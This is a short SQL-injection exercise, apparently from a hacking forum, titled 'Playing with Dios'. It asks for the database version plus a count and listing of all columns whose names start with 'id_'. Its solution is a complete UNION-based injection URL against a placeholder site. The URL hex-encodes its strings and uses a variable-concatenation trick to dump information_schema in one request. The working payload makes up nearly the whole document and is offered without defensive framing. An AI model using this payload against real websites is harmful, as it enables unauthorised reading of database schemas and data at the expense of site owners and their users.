Playing with Dios 1

task & rules
¤display version with your name
¤display count how many column names start with characters id_
¤display list of columns (with their database and table name) where column names start with characters id_

solution .......

http:p//vuln.net/produit.ph p?id=55 and 0 UNION%0aSELECT 1,2,3,concat(0x3c2f7469746c653e,version(),0x203a3a20616a6b61726f,0x3c42523e,0x6e756d626572206f6620636f6c756d6e73207374617274696e6720776974682069645f2069733a20,count(*),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and((column_name)like(0x69645f25))and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2d2d3e,table_name,0x2d2d3e,column_name))))x),0x3c7469746c653e),5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23 from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f73 6368656d61)and(column_name)like(0x69645f25)--


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